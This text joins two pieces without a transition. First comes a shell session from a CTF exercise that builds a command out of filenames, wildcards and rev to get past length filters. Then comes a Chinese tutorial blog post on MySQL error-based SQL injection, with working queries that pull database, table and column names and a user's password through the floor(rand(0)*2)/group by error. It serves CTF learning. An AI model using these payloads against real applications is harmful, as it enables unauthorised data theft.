root@HSH1000070537:~/babyfirst/1# ls
root@HSH1000070537:~/babyfirst/1# >dir #构造dir命令,这个命令是可以列出文件
root@HSH1000070537:~/babyfirst/1# ls
dir
root@HSH1000070537:~/babyfirst/1# >kt- #这里都是为了构造出 ls -tk >e 做准备
root@HSH1000070537:~/babyfirst/1# >sl #因为后面要用到rev命令,rev是可以把文件每行内容倒叙输出的
root@HSH1000070537:~/babyfirst/1# >e\> #所以先构造 e> kt- sl
root@HSH1000070537:~/babyfirst/1# ls #
dir e> kt- sl #
root@HSH1000070537:~/babyfirst/1# * #这里用到了通配符 * ,使用了通配符的地方会匹配符合表达式的全部项,并把他们当做一条shell命令执行
e> kt- sl #比如这个地方的 * 会匹配当前目录下的所有项,就相当于执行了 `dir e> kt- sl`
root@HSH1000070537:~/babyfirst/1# *>v #这里把它写到文件v 里,这个地方之所以写到v里面是有一定原因的,为了满足字典序,并且和rev相配合
root@HSH1000070537:~/babyfirst/1# cat v
e> kt- sl
root@HSH1000070537:~/babyfirst/1# rev v #rev把 v的内容反着输出了
ls -tk >e
root@HSH1000070537:~/babyfirst/1# *v #这里*v 匹配到的是 `v` 不是正确的命令
-bash: v: command not found
root@HSH1000070537:~/babyfirst/1# >rev #构造 rev命令
root@HSH1000070537:~/babyfirst/1# ls
dir e> kt- rev sl v
root@HSH1000070537:~/babyfirst/1# *v #匹配命令 `rev v`
ls -tk >e
root@HSH1000070537:~/babyfirst/1# *v>m #把 ls -tk >e 写入 m 文件
root@HSH1000070537:~/babyfirst/1# ls
dir e> kt- m rev sl v
root@HSH1000070537:~/babyfirst/1# cat m
ls -tk >e
root@HSH1000070537:~/babyfirst/1# sh m #执行 m里的 `ls -tk >e`
root@HSH1000070537:~/babyfirst/1# ls
dir e e> kt- m rev sl v
root@HSH1000070537:~/babyfirst/1# cat e #发现确实执行了命令,把内容输出到 e了
e
m
rev
v
e>
sl
kt-
dir
root@HSH1000070537:~/babyfirst/1# ^C
前几天做一道ctf的web题目,测试了一下发现存在sql注入,但是由于本人技术比较捉急,试了半天也没有找出来要怎么注入的。之后,看了一下官方的writeup,才知道原来是报错注入。
![](https://img.haomeiwen.com/i7255840/957f2ede85a564bd.png)
由于我之前虽然知道有报错注入这种注入类型,但是没有实际去了解过。因此,在看过wp之后,去网上查了资料总结一下。
在此参考了两篇文章:
Mysql报错注入原理分析(count()、rand()、group by)
SQL注入之报错型注入
-
我在自己的数据库上有一个名为user的表
image.png
当输入
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',version(),'~'))a from user group by a;
这时,数据库报错了,同时把查询的内容(concat((Floor(rand(0)*2)),'~',version(),'~'))
显示出来了
![](https://img.haomeiwen.com/i7255840/87de35a2b3ce253b.png)
通过这种办法,我们知道了当前的数据库版本为10.1.26-MariaDB-1
(旁边的两个~
是为了划清数据的界限而故意加进去的,concat()
能把结果连接成一个字符串)
接下来我们就讲一讲报错注入的原理,详细内容请查看
Mysql报错注入原理分析(count()、rand()、group by)
原理分析:
![](https://img.haomeiwen.com/i7255840/b994f8f8beda2c2d.png)
#输入以下sql查询语句
select count(*),(floor(rand(0)*2))a from user group by a;
#报错,其中把a字段的内容暴露出来了
具体为什么会报错,请看上面引用的那篇文章,大概就是
![](https://img.haomeiwen.com/i7255840/920e59ea50c8e245.png)
![](https://img.haomeiwen.com/i7255840/0b8685fd8f6044c4.png)
![](https://img.haomeiwen.com/i7255840/643808a5699b50b9.png)
再回到我们之前的例子
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',version(),'~'))a from user group by a;
#这里面,version()返回的是数据库的版本信息,是一个固定的值,
而floor(rand(0)*2)返回的值是不固定的,可能是0或者1.
#cancat()这四个字段之后,返回的字符串实际上有两种可能
#这个字符串就相当于原来的floor(rand(0)*2),因此在报错注入的时
候会被暴露出来,这样子我们就可以查询该数据库的信息了
因此,只要构造这样一个语句
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(子查询的语句),'~'))a from 某表 group by a;
就可以注入得到自己想要的数据了。
需要注意的是以下几个条件:
1.某表是数据库中的一个表,应该确保这个表中有超过三条记录,常用的是
2.子查询语句部分只能返回一条记录,可以使用limit 来限制返回的记录
3.最后应该用group by语句进行排列,order by语句不行
4.'~'符号不是必须的,可以换成自己喜欢的,或者不用
数据库的信息:
![](https://img.haomeiwen.com/i7255840/9f961dc9cd6826b0.png)
![](https://img.haomeiwen.com/i7255840/e9ef252a9546a7d0.png)
报错爆出来的数据:
![](https://img.haomeiwen.com/i7255840/729e610af0a5cfb7.png)
![](https://img.haomeiwen.com/i7255840/70172f806e8a6000.png)
![](https://img.haomeiwen.com/i7255840/fab585a0d6593b99.png)
通过报错注入,我们知道了一下信息:
1.有一个名为test的数据库
2.test数据库下面有一个名为user的表
3.该user表有三个字段:id,name,pass
通过这些信息,我们可以读出想要知道的值,比如
![](https://img.haomeiwen.com/i7255840/1aa301b3ad09075a.png)
找到用户id=1的密码pass的值为123
上面用到的相关查询语句:
#查找数据库名
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',database(),'~'))a from user group by a;
#查找表名
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(select (table_name) from information_schema.tables where table_schema='test' limit 0,1),'~'))a from user group by a;
#查找列名
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(select (column_name) from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),'~'))a from user group by a;
#查找值
SELECT COUNT(*),(concat((Floor(rand(0)*2)),'~',(select pass from user where id=1 limit 0,1),'~'))a from user group by a;
#其中 limit 0,1 表示的返回第一条记录,limit 1,1返回的第二条记录,以此类推
网友评论